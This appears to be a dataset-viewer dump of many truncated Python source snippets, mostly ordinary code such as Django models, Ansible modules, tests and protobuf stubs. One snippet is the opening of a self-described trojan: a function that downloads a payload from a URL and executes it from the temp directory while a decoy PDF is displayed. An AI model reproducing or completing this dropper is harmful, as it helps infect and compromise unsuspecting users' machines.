text stringlengths 2 999k |
|---|
from datetime import datetime
from injector import inject
from infrastructor.data.RepositoryProvider import RepositoryProvider
from infrastructor.exceptions.OperationalException import OperationalException
from infrastructor.logging.SqlLogger import SqlLogger
from models.dao.common import Status, OperationEvent
from ... |
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... |
#< @file DevAdf5904.pyh
#< @author Haderer Andreas (HaAn)
#< @date 2016-06-13
#< @brief Class for configuration of Adf5904 receiver
#< @version 1.0.1
import Class.DevDriver as DevDriver
from numpy import *
class DevAdf5904(DevDriver.DevDriver):
# DOXYGEN ------------------------... |
"""Update ip pool API method."""
from ibsng.handler.handler import Handler
class updateIPpool(Handler):
"""Update ip pool method class."""
def control(self):
"""Validate inputs after method setup.
:return: None
:rtype: None
"""
self.is_valid(self.ippool_id, int)
... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
# This file is part of Ansible
# (c) 2015, Jon Hawkesworth (@jhawkesworth) <figs@unity.demon.co.uk>
# Copyright (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
ANSIBLE_METADATA = {'metadata_version': '1.1... |
# Copyright 2021 GraphRepo
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, so... |
from __future__ import absolute_import
# Copyright (c) 2010-2018 openpyxl
try:
from abc import ABC
except ImportError:
from abc import ABCMeta
ABC = ABCMeta('ABC', (object, ), {})
|
#!/usr/bin/env python3
import fileinput
import math
import sys
if sys.version_info[0] >= 3:
map = lambda func, l: [func(i) for i in l]
else:
range = xrange
if __name__ == '__main__':
for line in fileinput.input():
g1, g2 = sorted(map(float, line.split()))
if g1 == -1:
break
elif g1 == 0 and g... |
# These are notebooks that take too long to run so are not tested here
excluded_notebooks = ['Emukit-tutorial-multi-fidelity-bayesian-optimization.ipynb',
'Emukit-tutorial-select-neural-net-hyperparameters.ipynb']
import pytest
import os
from nbconvert.preprocessors import ExecutePreprocessor
im... |
"""Available Commands:
.load
.square
.up
.round
.heart
.anim"""
from telethon import events
import asyncio
@borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True))
async def _(event):
if event.fwd_from:
return
animation_interval = 0.1
animation_ttl = range(0, 100)
input_str = ... |
import pyeccodes.accessors as _
def load(h):
h.alias('mars.number', 'perturbationNumber')
h.unalias('mars.step')
h.add(_.Evaluate('forecastPeriodFrom', (_.Get('verifyingMonth') / 1000)))
h.add(_.Evaluate('forecastPeriodTo', (_.Get('verifyingMonth') % 1000)))
h.add(_.Sprintf('forecastPeriod', "%d-... |
import logging
import os
import tempfile
from unittest import mock
import numpy as np
import pytest
import pfrl
from pfrl.experiments import (
train_agent_async,
train_agent_batch_with_evaluation,
train_agent_with_evaluation,
)
from pfrl.experiments.evaluator import (
batch_run_evaluation_episodes,
... |
# Original work Copyright (c) Facebook, Inc. and its affiliates.
# Modified work Copyright (c) Allen Institute for AI
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
from abc import abstractmethod, ABC
from collections import OrderedDict
from t... |
class Color(object):
def __init__(self, r=255, g=255, b=255, a=255):
self.r = r
self.g = g
self.b = b
self.a = a
@property
def hex(self):
return '%0.2X%0.2X%0.2X%0.2X' % (self.a, self.r, self.g, self.b)
def __hash__(self):
return (self.a << 24) + (self.r << 16) + (self.g << 8) + (self.b)
def __eq... |
# Generated by Django 2.2 on 2021-02-08 03:43
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
('auth', '0011_update_proxy_permissions'),
]
operations = [
migrations.CreateModel(
name='UserProfile',
... |
def fill_tables(values, weights, m, n, W ):
# Initialize the tables by filling the 0 row (no items)
for j in xrange(0, W+1):
m.append([])
for i in xrange(0, n+1):
m[j].append(0)
for i in xrange(0, n+1):
for j in xrange(0, W+1):
if i == 0 or j == 0:
... |
import unittest
import xmlrunner
import os
PARENT_FOLDER = os.path.dirname(os.path.realpath(__file__))
PROJECT_ROOT = PARENT_FOLDER
import uio
class MyTest(unittest.TestCase):
def test_dummy(self):
assert True
def test_file_exists(self):
assert uio.file_exists("slalom/__init_... |
# {dist}-{version}(-{build})?-{python}-{abi}-{platform}.whl
from setuptools import setup
import sys
SETUP = {
"name" : "rcr-mindset",
"version" : "4.0.1",
"description" : "Libreria para utilizar los módulos EEG MindSet/MindWave/MindLink",
"license" : "MIT",
"auth... |
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.apps import AppConfig
class QuestionConfig(AppConfig):
name = 'question'
|
# -*- coding: utf-8 -*-
import os
import re
from collections import OrderedDict
from functools import wraps
from django.core.files.storage import get_storage_class
from django.template.defaultfilters import force_escape
from django.template.loader import render_to_string
from django.utils.decorators import available_a... |
#!/usr/bin/env python
# Copyright (c) 2016 Matthew Earl
# # Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify,... |
"""Test Home Assistant package util methods."""
import asyncio
import logging
import os
from subprocess import PIPE
import sys
from asynctest import MagicMock, call, patch
import pkg_resources
import pytest
import homeassistant.util.package as package
RESOURCE_DIR = os.path.abspath(
os.path.join(os.path.dirname(... |
# program_viewer/__ini__.py --- Example program
#
# Copyright (C) 2018 Stefano Sartor - stefano.sartor@inaf.it
from PyQt5 import QtWidgets
from program_viewer.ui.main_window import Ui_MainWindow
from web.rest.base import Connection
from widgets.login import LoginWidget
from config import Config
class CheckBoxCallBac... |
import base64
import pickle
import pprint
import sys
from math import ceil
import numpy as np
import torch
import experiments
import models
from models.utils import save_model_kwargs, load_model_from_checkpoint
from utils import get_dataloaders, setup_writer
def train_epoch(writer,
model,
... |
from django.db import models
# Create your models here.
class Share(models.Model):
name = models.TextField(default="SNKEY")
last_modify_date = models.DateTimeField(auto_now=True)
created = models.DateTimeField(auto_now_add=True)
class Meta:
db_table = "share"
|
# -*- coding: utf-8 -*-
"""
Created on Wed Apr 10 15:11:54 2019
@author: Nate
"""
import numpy as np
import matplotlib.pyplot as plt
N1 = int(1e4)
x10, x20 = 1.1, 2.2
tau = np.arange(1, 10.1, .5)
r_max = 2
def G2(x1, x2, dt):
return np.exp(-(x1-x2)**2/(2*dt)-dt/4*(x1*x1+x2*x2)) / np.sqrt(2*np.pi*dt)
def P1(x... |
# How many days will it take for all of the islanders to leave?
def days_to_leave(n):
if n == 1:
return 0
return n
|
## Display Trojan PDF + Download and Execute Payload in TEMP Directory
## By ShowNadda
## Version 1.0
## Global Imports
import requests, subprocess, tempfile, os
def download_and_execute(url):
get_result = requests.get(url)
filename = url.split("/")[-1]
with open(filename, 'wb') as out_file:
out_f... |
# -*- coding: utf-8 -*-
import os
import io
from setuptools import setup, find_packages
# Helpers
def read(*paths):
"""Read a text file."""
basedir = os.path.dirname(__file__)
fullpath = os.path.join(basedir, *paths)
contents = io.open(fullpath, encoding='utf-8').read().strip()
return contents
... |
"""
File to initialize all database connections and make parent Base class
"""
from sqlalchemy import create_engine
from sqlalchemy.ext.automap import automap_base
from sqlalchemy.orm import sessionmaker
from dotenv import load_dotenv
import os
load_dotenv()
SQLALCHEMY_DATABASE_URL = os.getenv("SQLALCHEMY_DATABASE_UR... |
import os
import sys
import unittest
import torch
import torchvision.transforms.functional as F
from PIL import Image
from torchvision import models
try:
from torchvision import _C_tests
except ImportError:
_C_tests = None
def process_model(model, tensor, func, name):
model.eval()
traced_script_modu... |
from django.db import models
# Create your models here.
from django.urls import reverse
from twitter_app.helper import token_generator
class Post(models.Model):
user = models.ForeignKey('base_user.MyUser',
on_delete=models.CASCADE)
picture = models.ImageField(upload_to="post/",
... |
#!/usr/bin/env python3
# ----------------------------------------------------------------------------
#
# Copyright 2018 EMVA
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://ww... |
# coding=utf-8
# Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team.
# Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a cop... |
#!/usr/bin/env python3
"""Connects the bot."""
import os
import os.path
import random
import re
import sys
import threading
import time
import hclib
import pymongo
from commands import currency
from commands import dictionary
from commands import jokes
from commands import katex
from commands import password
from c... |
"""
Script that evaluates the `SunMoon` class.
For one location, this script computes solar event times for all of
the nights of one year by three methods:
1. with one call to get_solar_events_in_interval
2. with one call per day to get_solar_events
3. with one call per event to get_solar_event_time
For ... |
"""
The purpose of this script is to test thread-safety
It's called with an arbitrary number of LDAP URLs which
specifies LDAP searches each executed continously in
a separate thread with a separate LDAPObject instance.
"""
import sys,time,threading,ldap,ldapurl
ldap.LIBLDAP_R = 1
class TestThread(threading.Thread)... |
# -*- coding: utf-8 -*-
###############################################################################
#
# UpdateEntry
# Updates a sleep entry in a user’s feed.
#
# Python versions 2.6, 2.7, 3.x
#
# Copyright 2014, Temboo Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this ... |
# -*- coding: utf-8 -*-
from .resources import (Wallet, PayIn, DirectPayIn, BankWirePayIn,
CardWebPayIn, DirectDebitWebPayIn)
from .test_base import BaseTest
from mangopay.utils import Money
from datetime import date
import responses
import time
class PayInsTest(BaseTest):
@responses.ac... |
"""The test for the Trend sensor platform."""
from datetime import timedelta
from unittest.mock import patch
from homeassistant import config as hass_config, setup
from homeassistant.components.trend import DOMAIN
from homeassistant.const import SERVICE_RELOAD, STATE_UNKNOWN
import homeassistant.util.dt as dt_util
fr... |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... |
from torch.nn import init
from ptsemseg.models.utils import *
from ptsemseg.models.utils import get_upsampling_weight
from ptsemseg.loss import cross_entropy2d
class unet(nn.Module):
def __init__(
self,
feature_scale=4,
out_channels=4,
is_deconv=True,
in_channels=4,
... |
from graph.retworkx.api import (
digraph_all_simple_paths,
digraph_find_cycle,
has_cycle,
is_weakly_connected,
weakly_connected_components,
)
from tests.retworkx.conftest import Node, Edge, get_edge_fn, to_str_graph
def test_digraph_all_simple_paths(graph2):
assert digraph_all_simple_paths(gra... |
#!/usr/bin/python
import numpy as np
import cfgrib
import xarray as xr
import matplotlib.pyplot as plt
import cProfile
import pstats
import io
import time
from pstats import SortKey
import dask
dask.config.set(scheduler="threads", num_workers=8)
# pr = cProfile.Profile()
# pr.enable()
pc_g = 9.80665
def destagger... |
"""Jarvis Discord BOT.
AUTHOR : Luoskate
VERSION : 1.1
"""
import discord
from discord.ext import commands
from discord.ext.commands.errors import BadArgument
class GuildConverter(commands.Converter):
async def convert(self, ctx, argument):
guild = discord.utils.get(ctx.bot.guilds, name=argument)
... |
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# ---------------------------------------------------------------------... |
import torchvision.transforms as transforms
def build_transform(config, is_train, is_layout=False):
# TODO: Data augmentation, flip and rotate the camera
# Needs to be applied to layouts as well
transform = [
transforms.Resize(config.INPUT.IMG_SIZE),
transforms.ToTensor(),
]
if is_l... |
# Copyright (C) 2019 Intel Corporation. All rights reserved.
#
# SPDX-License-Identifier: BSD-3-Clause
#
import common
import scenario_cfg_lib
import board_cfg_lib
VM_HEADER_DEFINE = scenario_cfg_lib.HEADER_LICENSE + r"""
#ifndef VM_CONFIGURATIONS_H
#define VM_CONFIGURATIONS_H
"""
VM_END_DEFINE = r"""#endif /* VM_CON... |
"""Switch platform for dyson."""
from typing import Callable
from libdyson import DysonPureHotCoolLink
from homeassistant.components.switch import SwitchEntity
from homeassistant.config_entries import ConfigEntry
from homeassistant.const import CONF_NAME, ENTITY_CATEGORY_CONFIG
from homeassistant.core import HomeAss... |
#! -*- coding: utf-8 -*-
# 主要模型
import numpy as np
from bert4keras.layers import *
from bert4keras.snippets import insert_arguments
from bert4keras.snippets import delete_arguments
from bert4keras.snippets import is_string, is_one_of
from keras.models import Model
import json
class Transformer(object):
"""模型基类
... |
import os.path
import sys
def get_test_file_path(file):
pre_path = os.path.join(os.path.dirname(__file__), 'test_data')
return os.path.join(pre_path, file)
def get_text_from_test_data(file):
file_path = get_test_file_path(file)
with open(file_path, mode='r', encoding="utf-8") as f:
... |
# +
import sys
sys.path.append("..")
import minitorch
from hypothesis import settings
from hypothesis.strategies import composite, floats, integers, lists
import numpy as np
# -
settings.register_profile("ci", deadline=None)
settings.load_profile("ci")
small_ints = integers(min_value=1, max_value=3)
small_floats = ... |
# -*- Mode: Python -*-
# Copyright 1999, 2000 by eGroups, Inc.
#
# All Rights Reserved
#
# Permission to use, copy, modify, and distribute this software and
# its documentation for any purpose and without fee is hereby
# granted, provided that the above copyright notice appear in all
# copies a... |
# -*- coding: utf-8 -*-
"""Module for Room and Battle objects"""
import math
import time
from collections import deque
from . import utils, user
class Room:
"""
Class representing a room on showdown. Tracks messages sent into the room,
userlists, and includes utility methods to be used in conjunction with... |
"""The SSDP integration."""
from __future__ import annotations
import asyncio
from collections.abc import Awaitable, Mapping
from dataclasses import dataclass, field
from datetime import timedelta
from enum import Enum
from ipaddress import IPv4Address, IPv6Address
import logging
from typing import Any, Callable
from... |
import ipaddress
import os
import re
import uuid
from django.forms import ValidationError
from dynamic_preferences.admin import GlobalPreferenceAdmin, PerInstancePreferenceAdmin
from dynamic_preferences.types import StringPreference
from dynamic_preferences.preferences import Section
from dynamic_preferences.registrie... |
#!/usr/bin/python3
# base 64 encoding example in python3
import hashlib
print(hashlib.algorithms_available)
example_html = """<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta na... |
#!/usr/bin/python2
# -*- coding: utf-8 -*-
# Software License Agreement (BSD License)
#
# Copyright (c) 2012, Willow Garage, Inc.
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions
# are met:
#
# * Redistri... |
"""Emoji
Available Commands:
.isro
built by @r4v4n4 , isse bhi loot lo betichod"""
from telethon import events
import asyncio
@borg.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True))
async def _(event):
if event.fwd_from:
return
animation_interval = 1
animation_ttl = range(0, 24)... |
from datetime import datetime, timedelta
import re
import pyyjj
DATETIME_FORMAT = '%Y-%m-%d %H:%M:%S.%N'
NANO_PER_SECOND = 1000000000
SECOND_PER_MINUTE = 60
NANO_PER_MINUTE = NANO_PER_SECOND * SECOND_PER_MINUTE
EPOCH = datetime.fromtimestamp(0)
SESSION_DATETIME_FORMAT = '%Y-%m-%d %H:%M:%S'
DURATION_FORMAT = '%H:%M... |
# coding: utf-8
"""
Yapily API
To access endpoints that require authentication, use your application key and secret created in the Dashboard (https://dashboard.yapily.com) # noqa: E501
The version of the OpenAPI document: 1.154.0
Generated by: https://openapi-generator.tech
"""
import pprint
impor... |
###############################################################################
#
# The MIT License (MIT)
#
# Copyright (c) Crossbar.io Technologies GmbH
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in ... |
# Copyright 2014-2016 Presslabs SRL
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
#!/usr/bin/env python
"""An implementation of an in-memory data store for testing."""
import sys
import threading
import time
from grr.lib import rdfvalue
from grr.lib import utils
from grr.server import data_store
class FakeDBSubjectLock(data_store.DBSubjectLock):
"""A fake transaction object for testing."""
... |
from flask import Flask
from flask_bootstrap import Bootstrap
from config import config_options
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
from flask_mail import Mail
from flask_uploads import UploadSet,configure_uploads,IMAGES
from flask_simplemde import SimpleMDE
bootstrap = Bootstr... |
# Generated by Django 2.0.7 on 2018-07-16 21:15
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('medrecords_app', '0002_auto_20180715_2118'),
]
operations = [
migrations.AlterField(
model_name='medicine',
name='ty... |
"""
Created on 2020-10-11
@author: cheng.li
"""
from sqlalchemy import (
Column,
INT,
FLOAT,
Date,
Index,
Text,
text
)
from sqlalchemy.ext.declarative import declarative_base
Base = declarative_base()
metadata = Base.metadata
class _StkDailyPricePro(Base):
__tablename__ = 'stk_daily... |
from django.utils import timezone as djangotime
from django.core.management.base import BaseCommand
from knox.models import AuthToken
class Command(BaseCommand):
help = "Deletes all knox web tokens"
def handle(self, *args, **kwargs):
# only delete web tokens, not any generated by the installer
... |
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: target_info.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf... |
import pathlib
import sys
import torch
here = pathlib.Path(__file__).resolve().parent
sys.path.append(str(here / '..' / '..'))
import controldiffeq
class NeuralCDE(torch.nn.Module):
"""A Neural CDE model. Provides a wrapper around the lower-level cdeint function, to get a flexible Neural CDE
model.
Spe... |
import torch
import torch.nn as nn
import torch.nn.functional as F
from . import resnet
class WideBottleneck(resnet.Bottleneck):
expansion = 2
def generate_model(model_depth, k, **kwargs):
assert model_depth in [50, 101, 152, 200]
inplanes = [x * k for x in resnet.get_inplanes()]
if model_depth ==... |
#!/usr/bin/env python
from __future__ import print_function
import io
import os
import subprocess
import sys
import contextlib
from distutils.command.build_ext import build_ext
from distutils.sysconfig import get_python_inc
from distutils import ccompiler, msvccompiler
try:
from setuptools import Extension, setup
... |
import cProfile
import hiq
with cProfile.Profile() as pr:
hiq.mod("main").main()
pr.dump_stats("result.pstat")
|
# -*- coding: utf-8 -*-
"""
Created on Wed Jul 4 15:27:28 2018
@author: viveks01
"""
from rasterlib import rasterLib
|
from __future__ import print_function
#
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright ownership.
# The ASF licenses this file to You under the Apache License, Version... |
# Write your MySQL query statement below
update Salary set sex=(
case sex when 'm' then 'f'
when 'f' then 'm'
end) ;
update salary set sex = if(sex = 'm' , 'f' , 'm'); |
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: google/bigtable/v1/bigtable_service.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf... |
#!/usr/bin/python
# Copyright (c) 2014 Wladimir J. van der Laan
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
'''
Script to generate list of seed nodes for chainparams.cpp.
This script expects two text files in the directory tha... |
#!/usr/bin/env python
#
# Copyright 2012 - 2017-2019 BigML, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by appli... |
'''
实验名称:DAC-蜂鸣器
版本:v1.0
日期:2019.4
作者:01Studio
说明:通过USER按键让DAC输出不同频率的方波来驱动蜂鸣器。
'''
#导入相关模块
from pyb import DAC,Switch
from machine import Pin,I2C
from ssd1306 import SSD1306_I2C
#初始化相关模块
i2c = I2C(sda=Pin("Y8"), scl=Pin("Y6"))
oled = SSD1306_I2C(128, 64, i2c, addr=0x3c)
sw = Switch() #定义按键对象名字为sw
dac = DAC(1) ... |
# Copyright 2018 Contributors to Hyperledger Sawtooth
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law ... |
#
# Copyright (c) 2021 Airbyte, Inc., all rights reserved.
#
import pytest
from airbyte_cdk import AirbyteLogger
from source_s3.s3file import S3File
LOGGER = AirbyteLogger()
class TestS3File:
@pytest.mark.parametrize( # passing in full provider to emulate real usage (dummy values are unused by func)
"... |
# NOTE: THIS FILE IS INTENTIONALLY NAMED TO BE RUN LAST. SEE test_shutdown_host().
import logging
import pytest
import re
import sdk_agents
import sdk_cmd
import sdk_install
import sdk_marathon
import sdk_plan
import sdk_tasks
from tests import config
RECOVERY_TIMEOUT_SECONDS = 20 * 60
log = logging.getLogger(__nam... |
#!/usr/bin/env python3
import argparse
import datetime
import functools
import hashlib
import logging
import os
import pwd
import re
import shlex
import shutil
import subprocess
import sys
import tempfile
import time
import json
import uuid
import configparser
from typing import Sequence, Set, Any, Dict, List
DEPLOYM... |
from flask import Blueprint, render_template, session, redirect, url_for, request, flash
import sys
sys.path.append("../..")
import user_database as db
import views.posts.post_database as pdb
from auth import auth
from user import User
import app_settings
posts = Blueprint("posts", __name__, static_folder='static', te... |
"""
A version of the standard Gtk.ColorButton tweaked towards Gaphor.
Gaphor is using color values from 0 to 1 (cairo standard), so that required some tweaks
on the color widget. The standard format is `(red, green, blue, alpha)`.
"""
from gi.repository import Gtk
class ColorButton(Gtk.ColorButton):
__gtype_na... |
#!/usr/bin/python
# -*- coding: utf-8 -*-
#
# Ansible module to manage Check Point Firewall (c) 2019
#
# Ansible is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your o... |
import torch
import torch.nn as nn
from saliency.saliency import Saliency
class DeconvSaliency(Saliency):
"""docstring for DeconvSaliency."""
def __init__(self, model):
super(DeconvSaliency, self).__init__(model)
def guided_relu_hook(self, module, grad_in, grad_out):
return (torch.nn.fun... |
# -*- coding: utf-8 -*-
#################################################################
# File : imgfileutils.py
# Version : 1.4.5
# Author : czsrh
# Date : 10.12.2020
# Institution : Carl Zeiss Microscopy GmbH
# Location : https://github.com/zeiss-microscopy/OAD/blob/master/jupyter_noteboo... |
# -*- coding: utf-8 -*-
""" 文字列処理ユーティリティ
単に「文字列」と言った場合はUnicodeかバイト列か紛らわしいので、ここでは明確に区別する必要がある場合は以下のように統一する
* Unicode: Python2のunicode型 または Python3のstr型
* バイト列: Python2のstr型 または Python3のbytes型 または bytearray型
@author: shimataro
"""
def autodecode(string, encodings = ("utf-8", "shift_jis", "euc_jp", "iso2022_jp")):
"""... |
from sympy import (Symbol, gamma, I, oo, nan, zoo, factorial, sqrt, Rational, log,
polygamma, EulerGamma, pi, uppergamma, S, expand_func, loggamma, sin,
cos, O, cancel, lowergamma, exp, erf, beta, exp_polar)
from sympy.utilities.randtest import (test_derivative_numerically as td,
... |
import collections.abc
import os
import re
import string
import sys
from copy import copy, deepcopy
from distutils.version import StrictVersion
from enum import Enum
from typing import Callable, Dict, List, NewType, Tuple, TypeVar, Union
import pytest
from pydantic import VERSION, BaseModel, ConstrainedList, conlist
... |
import os
import time
from ._common import print_page_error
def test_organization_settings(authenticated, project, launch_time, image_file, base_url):
print("Going to organizations...")
page = authenticated.new_page()
page.goto(f"/organizations")
page.on("pageerror", print_page_error)
name = f"tes... |
#
# Copyright (c) nexB Inc. and others. All rights reserved.
# ScanCode is a trademark of nexB Inc.
# SPDX-License-Identifier: Apache-2.0
# See http://www.apache.org/licenses/LICENSE-2.0 for the license text.
# See https://github.com/nexB/scancode-toolkit for support or download.
# See https://aboutcode.org for more in... |
import logging
from .. import Component
from zygoat.utils.files import use_dir
from zygoat.utils.shell import run
import virtualenv
log = logging.getLogger()
class Backend(Component):
def create(self):
log.info('Installing django at a user level to generate the project')
run(['pip', 'install', ... |
# ___________________________________________________________________________
#
# Pyomo: Python Optimization Modeling Objects
# Copyright 2017 National Technology and Engineering Solutions of Sandia, LLC
# Under the terms of Contract DE-NA0003525 with National Technology and
# Engineering Solutions of Sandia, LLC... |
import tkinter as tk
from tkinter import ttk
from pprint import pprint
def callbackFunc(event):
labelTop.config(text='Вы выбрали {} ({})'.format(comboExample.get(), comboExample.current()))
app = tk.Tk()
labelTop = tk.Label(app, text = "Выберите месяц")
labelTop.pack()
# ------------- ComboBox ----------... |
# Copyright 2016-present, Facebook, Inc.
# All rights reserved.
#
# This source code is licensed under the BSD-style license found in the
# LICENSE file in the root directory of this source tree. An additional grant
# of patent rights can be found in the PATENTS file in the same directory.
load("@bazel_skylib//lib:col... |
from apscheduler.schedulers.background import BackgroundScheduler
from django_apscheduler.jobstores import DjangoJobStore
from django_apscheduler.jobstores import register_events
from django_apscheduler.models import DjangoJobExecution
scheduler = BackgroundScheduler()
scheduler.add_jobstore(DjangoJobStore(), "default... |
import pygame
from buffalo import utils
from recipeManager import RecipeManager
from item import Item
import pygame
import os
from eventRegistry import EventRegistry
from eventRegistry import Event
class CraftingUI:
BUTTON_SIZE = 32
PADDING = 6
def __init__(self, inventory):
self.inventory = inv... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.